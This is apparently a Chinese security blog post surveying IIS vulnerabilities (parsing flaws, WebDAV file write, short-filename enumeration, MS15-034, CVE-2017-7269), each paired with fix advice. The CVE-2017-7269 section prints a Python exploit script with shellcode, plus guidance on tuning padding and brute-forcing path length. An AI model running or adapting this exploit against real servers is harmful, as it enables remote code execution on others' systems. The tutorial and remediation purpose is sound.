写点什么

Web 中间件常见漏洞总结

  • 2022-11-16
    湖南
  • 本文字数:3878 字

    阅读完需:约 13 分钟

IIS

IIS 是 Internet Information Services 的缩写,意为互联网信息服务,是由微软公司提供的基于运行 MicrosoftWindows 的互联网基本服务。

IIS 目前只适用于 Windows 系统,不适用于其他操作系统。

解析漏洞

IIS 6.x

基于文件名 该版本默认会将*.asp;.jpg 此种格式的文件名,当成 Asp 解析,原理是服务器默认不解析;号及其后面的内容,相当于截断。 基于文件夹名 该版本 默认会将 *.asp/目录下的所有文件当成 Asp 解析。 另外,IIS6.x 除了会将扩展名为.asp 的文件解析为 asp 之外,还默认会将扩展名为.asa,.cdx,.cer 解析为 asp,

从网站属性->主目录->配置 可以看出,他们都是调用了 asp.dll 进行的解析。

修复建议

由于微软并不认为这是一个漏洞,也没有推出 IIS 6.0 的补丁,因此漏洞需要自己修复。

【一一帮助安全学习一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部教程

1.限制上传目录执行权限,不允许执行脚本。 2.不允许新建目录。

3.上传的文件需经过重命名(时间戳+随机数+.jpg 等)

IIS 7.x

安装 IIS7.5 1.控制面板 -> 程序 -> 打开或关闭 windows 功能。 1. 下载php-5.2.6-win32-installer.msi

  1. 打开 msi,一直下一步来到选择 web serversetup 的界面,在这里选择 IISfastcgi,之后一直下一步。 4.打开 IIS,管理工具 ->Internet 信息服务(IIS)管理器

5. 选择编辑 ISAPI 或者 CGI 限制 添加安装的 php-cgi.exe 路径,描述随意。 6.返回第五步的第一个图片位置,点击处理程序映射,添加如下。 7.phpinfo 测试 IIS7.x 版本 在 Fast-CGI 运行模式下,在任意文件,例:test.jpg 后面加上/.php,会将 test.jpg 解析为 php 文件。 修复建议 配置 cgi.fix_pathinfo(php.ini 中)为 0 并重启 php-cgi 程序 结果如下:

PUT 任意文件写入

IIS Server 在 Web 服务扩展中开启了 WebDAV 之后,支持多种请求,配合写入权限,可造成任意文件写入。

修复建议

关闭 WebDAV 和 写权限

IIS****短文件漏洞 Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows 的程序访问这些文件。在 cmd 下输入"dir /x"即可看到短文件名的效果。 IIS 短文件名产生:

1. 当后缀小于 4 时,短文件名产生需要文件(夹)名前缀字符长度大于等于 9 位。 2. 当后缀大于等于 4 时,文件名前缀字符长度即使为 1,也会产生短文件名。

目前 IIS 支持短文件名猜测的 HTTP 方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE 六种。

IIS 8.0 之后的版本只能通过 OPTIONS 和 TRACE 方法被猜测成功。复现:

IIS8.0 以下版本需要开启 ASP.NET 支持,IIS 大于等于 8.0 版本,即使没有安装 ASP.NET,通过 OPTIONS 和 TRACE 方法也可以猜解成功。    以下通过开启 IIS6.0 ASP.NET 后进行复现。 当访问构造的某个存在的短文件名,会返回 404; 当访问构造的某个不存在的短文件名,会返回 400;

IIS 短文件漏洞局限性

1)如果文件名本身太短也是无法猜解的;

2)此漏洞只能确定前 6 个字符,如果后面的字符太长、包含特殊字符,很难猜解; 3)如果文件名前 6 位带空格,8.3 格式的短文件名会补进,和真实文件名不匹配; 4)如果文件夹名前 6 位字符带点".",扫描程序会认为是文件而不是文件夹,最终出现误报; 5)不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过 4 个中文字会产生短文件名,但是 IIS 不支持中文猜测。 短文件利用工具下载

修复建议

1)从 CMD 命令关闭 NTFS 8.3 文件格式的支持 Windows Server 2003: (1 代表关闭,0 代表开启) Windows Server 2008 R2:

查询是否开启短文件名功能:fsutil 8dot3name query

关闭该功能:fsutil 8dot3name set 1

不同系统关闭命令稍有区别,该功能默认是开启的. 2)或从修改注册表关闭 NTFS 8.3 文件格式的支持

快捷键 Win+R 打开命令窗口,输入 regedit 打开注册表窗口

找到路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,将其中的 NtfsDisable8dot3NameCreation 这一项的值设为 1,1 代表不创建短文件名格式 以上两种方式修改完成后,均需要重启系统生效。

Note:此方法只能禁止 NTFS8.3 格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失。 例:将 web 文件夹的内容拷贝到另一个位置,如c:\www到c:\ww,然后删除原文件夹,再重命名 c:\ww 到 c:\www。

HTTP.SYS 远程代码执行 (MS15-034)

影响范围: Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2 复现:

在 Windows7 上 安装 IIS7.5。 1.访问。 编辑请求头,增加 Range: bytes=0-18446744073709551615 字段,若返回码状态为 416 Requested Range Not Satisfiable,则存在 HTTP.SYS 远程代码执行漏洞 漏洞有点鸡肋,配合其他漏洞使用还是可以用用的,具体使用可转至 MSF 中。

修复建议

安装修复补丁(KB3042553)

RCE-CVE-2017-7269

Microsoft Windows Server 2003 R2 中的 Internet 信息服务(IIS)6.0 中的 WebDAV 服务中的 ScStoragePathFromUrl 函数中的缓冲区溢出允许远程攻击者通过以"If:<http://"开头的长标头执行任意代码 PROPFIND 请求。 影响范围: 在 Windows 2003 R2(Microsoft® Windows® Server 2003, Enterprise Edition Service Pack 2)上使用 IIS 6.0 并开启 WebDAV 扩展。 复现:

CVE 给出的exp 计算机弹弹弹!!! 用 python2 运行,结果如下。 任务管理器开启了 calc.exe 进程,因为计算器是网络服务权限打开的,所以我们在桌面上看不见。 这个漏洞有几个需要注意的地方,如下。

由于作者提供的 Exp 执行之后就卡在那里了,因此不适合用弹计算机的 shellcode 进行测试,网上找了个 dalao 的回显 shellcode 来测试。首先将上图中 python2 IDE 运行时产生的 Raw 类型的 HTTP 数据包 copy 保存至记事本中,然后在 Burp Repeater 模块 Paste from file。将 shellcode 更换成如下:

VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDK
复制代码

结果: CVE 作者给出的 Exp 是在默认端口,默认域名,默认路径的情况下适用。 第一个需要注意的是端口和域名绑定问题: 当端口改变时,If 头信息中的两个 url 端口要与站点端口一致,如下。 当域名改变时,If 头信息中的两个 url 域名要与站点域名一致,且 HOST 头也要与站点域名一致。如下 不修改 Host 将返回 502,如下 Note: 测试的时候凡是需要修改 IIS 配置的操作,修改完毕后都需要重启 IIS,或者在不超过禁用阈值的前提下结束 w3wp 进程。

第二个需要注意的是物理路径问题:

CVE 作者提供的 Exp 是在 默认路径长度等于 19(包括结尾的反斜杠)的情况下适用,IIS 默认路径一般为:c:\inetpub\wwwroot

解决方法: 当路径长度小于 19 时需要对 padding 进行添加。当路径长度大于 19 时需要对 padding 进行删除。

ROP 和 stackpivot 前面的 padding 实际上为 UTF8 编码的字符,每三个字节解码后变为两个字节的 UTF16 字符,在保证 Exp 不出错的情况下,有 0x58 个字符是没用的。所以可以将前 0x108 个字节删除,换成 0x58 个 a 或 b。

原 exp 修改后如下:

#  coding:utf-8 import  socketsock  =  socket.socket(socket.AF_INET,  socket.SOCK_STREAM) sock.connect(('192.168.124.129',8888))pay='PROPFIND  /  HTTP/1.1\r\nHost:  www.lxhsec.com\r\nContent-Length:  0\r\n' pay+='If:  <http://www.lxhsec.com:8888/aaaaaaa'pay+='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' pay+='\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\ pay+='>'pay+='  (Not  <locktoken:write1>)  <http://www.lxhsec.com:8888/bbbbbbb' pay+='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb' pay+='\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\ shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30Apay+=shellcode pay+='>\r\n\r\n' print  pay sock.send(pay)data  =  sock.recv(80960) print  datasock.close
复制代码

执行: 当路径长度小于 19 时,如下,需要增加 12 个 a,b 而实际中路径常常大于 19,需要对 padding 进行删除。

当路径为 c:\www\ 的时候,a 有 107 个,加起来有 114 个,除去盘符有 111 个字符,所以可以把 Exp 的 padding 增加至 111,并逐次进行减少。当长度不匹配时返回 500,成功时返回 200,通过爆破方式得到物理路径长度。

成功: 失败: 当然如果能得到物理路径,则用 114 减去物理路径长度(包括末尾的反斜杠)就是所需的 padding 长度。 第三个需要注意的是,超时问题。 当 exp 执行成功一段时间之后(大概十分钟到二十分钟左右,其间无论有无访问),再对这个站点执行 exp 永远不会成功,同时返回 400。 解决方法:

1. 等待 w3wp 重启。

2. 测试旁站(因为每个池都是独立的 w3wp 进程,换一个可能在其他池的旁站进行尝试)  第四个需要注意的是,多次执行错误 shellcode

多次执行错误的 shellcode 会覆盖很多不该覆盖的代码,从而导致正确的 shellcode 执行时也返回 500, 提示信息为:参数不正确,也可能什么都不返回。 解决方法: 1.等待 w3wp 重启。 2.测试旁站(因为每个池都是独立的 w3wp 进程,换一个可能在其他池的旁站进行尝试)

修复建议

关闭 WebDAV

总结

Web 中间件常见漏洞还远不止这些,等以后空闲再补录。

用户头像

我是一名网络安全渗透师 2021-06-18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
Web中间件常见漏洞总结_黑客_网络安全学海_InfoQ写作社区